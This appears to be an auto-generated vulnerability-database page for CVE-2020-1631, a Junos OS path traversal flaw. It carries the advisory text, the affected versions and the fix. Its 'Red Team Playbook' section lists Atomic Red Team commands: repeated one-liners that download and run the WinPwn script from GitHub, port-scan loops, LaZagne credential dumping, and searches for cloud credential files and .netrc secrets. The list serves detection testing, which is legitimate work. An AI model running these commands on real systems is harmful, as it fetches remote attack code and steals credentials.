CVE-2020-1631

Overview

This vulnerability is a local file inclusion (LFI) and path traversal flaw in the HTTP/HTTPS service of Juniper Networks Junos OS, specifically affecting components such as J-Web, Web Authentication, Dynamic-VPN, Firewall Authentication Pass-Through with Web-Redirect, and Zero Touch Provisioning. The root cause lies in improper input validation allowing unauthenticated attackers to manipulate file paths and inject commands into the httpd log files. The affected service runs with limited privileges under the 'nobody' user account on Junos OS devices with HTTP/HTTPS enabled.

Vulnerability Description

A vulnerability in the HTTP/HTTPS service used by J-Web, Web Authentication, Dynamic-VPN (DVPN), Firewall Authentication Pass-Through with Web-Redirect, and Zero Touch Provisioning (ZTP) allows an unauthenticated attacker to perform local file inclusion (LFI) or path traversal. Using this vulnerability, an attacker may be able to inject commands into the httpd.log, read files with 'world' readable permission file or obtain J-Web session tokens. In the case of command injection, as the HTTP service runs as user 'nobody', the impact of this command injection is limited. (CVSS score 5.3, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) In the case of reading files with 'world' readable permission, in Junos OS 19.3R1 and above, the unauthenticated attacker would be able to read the configuration file. (CVSS score 5.9, vector CVSS:3.1/ AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N) If J-Web is enabled, the attacker could gain the same level of access of anyone actively logged into J-Web. If an administrator is logged in, the attacker could gain administrator access to J-Web. (CVSS score 8.8, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) This issue only affects Juniper Networks Junos OS devices with HTTP/HTTPS services enabled. Junos OS devices with HTTP/HTTPS services disabled are not affected. If HTTP/HTTPS services are enabled, the following command will show the httpd processes: user@device> show system processes | match http 5260 - S 0:00.13 /usr/sbin/httpd-gk -N 5797 - I 0:00.10 /usr/sbin/httpd --config /jail/var/etc/httpd.conf To summarize: If HTTP/HTTPS services are disabled, there is no impact from this vulnerability. If HTTP/HTTPS services are enabled and J-Web is not in use, this vulnerability has a CVSS score of 5.9 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N). If J-Web is enabled, this vulnerability has a CVSS score of 8.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H). Juniper SIRT has received a single report of this vulnerability being exploited in the wild. Out of an abundance of caution, we are notifying customers so they can take appropriate actions. Indicators of Compromise: The /var/log/httpd.log may have indicators that commands have injected or files being accessed. The device administrator can look for these indicators by searching for the string patterns "=*;*&" or "*%3b*&" in /var/log/httpd.log, using the following command: user@device> show log httpd.log | match "=*;*&|=*%3b*&" If this command returns any output, it might be an indication of malicious attempts or simply scanning activities. Rotated logs should also be reviewed, using the following command: user@device> show log httpd.log.0.gz | match "=*;*&|=*%3b*&" user@device> show log httpd.log.1.gz | match "=*;*&|=*%3b*&" Note that a skilled attacker would likely remove these entries from the local log file, thus effectively eliminating any reliable signature that the device had been attacked. This issue affects Juniper Networks Junos OS 12.3 versions prior to 12.3R12-S16; 12.3X48 versions prior to 12.3X48-D101, 12.3X48-D105; 14.1X53 versions prior to 14.1X53-D54; 15.1 versions prior to 15.1R7-S7; 15.1X49 versions prior to 15.1X49-D211, 15.1X49-D220; 16.1 versions prior to 16.1R7-S8; 17.2 versions prior to 17.2R3-S4; 17.3 versions prior to 17.3R3-S8; 17.4 versions prior to 17.4R2-S11, 17.4R3-S2; 18.1 versions prior to 18.1R3-S10; 18.2 versions prior to 18.2R2-S7, 18.2R3-S4; 18.3 versions prior to 18.3R2-S4, 18.3R3-S2; 18.4 versions prior to 18.4R1-S7, 18.4R3-S2 ; 18.4 version 18.4R2 and later versions; 19.1 versions prior to 19.1R1-S5, 19.1R3-S1; 19.1 version 19.1R2 and later versions; 19.2 versions prior to 19.2R2; 19.3 versions prior to 19.3R2-S3, 19.3R3; 19.4 versions prior to 19.4R1-S2, 19.4R2; 20.1 versions prior to 20.1R1-S1, 20.1R2.

Impact

An unauthenticated attacker can exploit this vulnerability to read sensitive files, including device configuration files, or inject commands into log files. If J-Web is enabled and an administrator is actively logged in, the attacker can escalate privileges to gain full administrative access to J-Web, effectively compromising device management. No authentication or user interaction is required to exploit the path traversal or file reading aspects, while limited user interaction is needed for full administrative access via J-Web. This can lead to unauthorized disclosure of sensitive network configuration and potential control over the device management interface.

Solution

Juniper Networks has released security advisories addressing this vulnerability under JSA11021. Users should upgrade affected Junos OS devices to fixed versions, including but not limited to 12.3R12-S16, 14.1X53-D54, 15.1R7-S7, 16.1R7-S8, 17.2R3-S4, 18.1R3-S10, 19.3R2-S3, and 20.1R2 or later as specified in the advisory. Devices with HTTP/HTTPS services disabled are not affected. Detailed patch instructions and version-specific fixes are available at https://kb.juniper.net/JSA11021.

Full Analysis

Affected Products (277)

	Vendor	Product	Version	CPE
J	Juniper	Junos	12.3	cpe:2.3:o:juniper:junos:12.3:-:*:*:*:*:*:*
J	Juniper	Junos	12.3	cpe:2.3:o:juniper:junos:12.3:r1:*:*:*:*:*:*
J	Juniper	Junos	12.3	cpe:2.3:o:juniper:junos:12.3:r10:*:*:*:*:*:*
J	Juniper	Junos	12.3	cpe:2.3:o:juniper:junos:12.3:r10-s1:*:*:*:*:*:*
J	Juniper	Junos	12.3	cpe:2.3:o:juniper:junos:12.3:r10-s2:*:*:*:*:*:*
J	Juniper	Junos	12.3	cpe:2.3:o:juniper:junos:12.3:r11:*:*:*:*:*:*
J	Juniper	Junos	12.3	cpe:2.3:o:juniper:junos:12.3:r12:*:*:*:*:*:*
J	Juniper	Junos	12.3	cpe:2.3:o:juniper:junos:12.3:r12-s1:*:*:*:*:*:*
J	Juniper	Junos	12.3	cpe:2.3:o:juniper:junos:12.3:r12-s11:*:*:*:*:*:*
J	Juniper	Junos	12.3	cpe:2.3:o:juniper:junos:12.3:r12-s12:*:*:*:*:*:*
J	Juniper	Junos	12.3	cpe:2.3:o:juniper:junos:12.3:r12-s13:*:*:*:*:*:*
J	Juniper	Junos	12.3	cpe:2.3:o:juniper:junos:12.3:r12-s14:*:*:*:*:*:*
J	Juniper	Junos	12.3	cpe:2.3:o:juniper:junos:12.3:r12-s15:*:*:*:*:*:*
J	Juniper	Junos	12.3	cpe:2.3:o:juniper:junos:12.3:r12-s3:*:*:*:*:*:*
J	Juniper	Junos	12.3	cpe:2.3:o:juniper:junos:12.3:r12-s4:*:*:*:*:*:*
J	Juniper	Junos	12.3	cpe:2.3:o:juniper:junos:12.3:r12-s6:*:*:*:*:*:*
J	Juniper	Junos	12.3	cpe:2.3:o:juniper:junos:12.3:r12-s8:*:*:*:*:*:*
J	Juniper	Junos	12.3x48	cpe:2.3:o:juniper:junos:12.3x48:-:*:*:*:*:*:*
J	Juniper	Junos	12.3x48	cpe:2.3:o:juniper:junos:12.3x48:d10:*:*:*:*:*:*
J	Juniper	Junos	12.3x48	cpe:2.3:o:juniper:junos:12.3x48:d100:*:*:*:*:*:*

+257 additional CPEs

Exploits

No exploits found for this CVE.

Attack Vectors ML

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

CAPEC Attack Patterns ML

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false

echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"

docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh

for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done

nmap #{host_to_scan}

sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}

nmap -Pn -sV -p #{port_range} #{host}

python "#{filename}" -i #{host_ip}

$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}

Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput

Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"

echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"

type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml

python2 laZagne.py all

grep -ri password #{file_path}
exit 0

findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password

find #{file_path}/.aws -name "credentials" -type f 2>/dev/null

find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null

find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null

find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null

for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done

dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\

$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)